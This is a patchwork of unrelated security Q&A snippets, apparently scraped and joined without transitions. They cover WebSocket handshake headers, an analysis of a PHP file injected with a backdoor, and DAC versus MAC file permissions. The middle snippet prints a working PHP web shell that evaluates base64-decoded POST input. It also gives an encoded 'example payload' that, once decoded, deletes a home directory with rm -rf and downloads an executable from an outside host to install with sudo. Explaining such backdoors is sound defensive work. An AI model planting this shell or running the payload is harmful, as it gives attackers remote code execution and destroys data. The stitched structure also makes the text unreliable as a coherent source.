For possible attack scenarios RFC 6455 specifies mitigation techniques with properly defined handshake policy. Theoretically attackers wouldn't get required interface for establishing proper connection.

Sec-* headers required for establishing and maintaining connection and mentioned mostly at fourth section Opening Handshake. They are:

Sec-WebSocket-Key
Sec-WebSocket-Extensions
Sec-WebSocket-Accept
Sec-WebSocket-Protocol
Sec-WebSocket-Version


Malicious code is injected to a PHP file

What does the code do?

<?php
    if (isset($_POST['n3d9ebc'])) {
        eval(base64_decode($_POST['n3d9ebc']));
    }
?>

It does Remote Code Execution. If this were a $_GET[] parameter, it means an attacker could do this:

hxxp://yoursite.com/hax.php?n3d9ebc=base64-encoded-malicious-php-code

But since it's a $_POST[] parameter, it'll be sent as part of a submission. When the POST parameter, n3d9ebc, is set, it will attempt to evaluate the condition after it's been base64 decoded.

Example payload:

  c2hlbGxfZXhlYygicm0gLXJmIH4vaGlsbGFyeS1lbWFpbHM7IHdnZXQgaHR0cHM6Ly93d3cucHV0aW4ucnUvZmFuY3ktYmVhci5leGUgLU8gYXB0MjguZXhlICYmIHN1ZG8gbXYgYXB0MjguZXhlIC91c3Ivc2JpbjsgZWNobyBTSFVUIFVQIFRISVMgSVMgQSBKT0tFIik7

The above will do... um... figure it out.

Just by posting to your site, they have full Remote Code Execution on your web server. You've essentially been pwned. Time for a clean up, and make sure you upgrade vulnerable components.

  Does it mean that there's a virus?

Technically? They can do whatever they want on your website. It's basically a backdoor.

  How can it be injected to only this one file?

You probably have some kind of vulnerability which allows them to write to a file on the web server. Could be any number of issues. Kind of broad, but it could be chmod 777, a Remote File Inclusion issue, or some other Remote Code Execution backdoor or vulnerability.


The distinction is in who decides the permissions on files. A DAC gives the owner of the file the full control of the file permissions. MAC uses labels to enforce a centralized control, which means there is an additional layer of security that is not up to owner of the file to decide.
As an example, a user might have a file with rwxrwxrwx (777) permissions, but MAC enforces its rwx only to a specific set of security labels, effectively overriding DAC.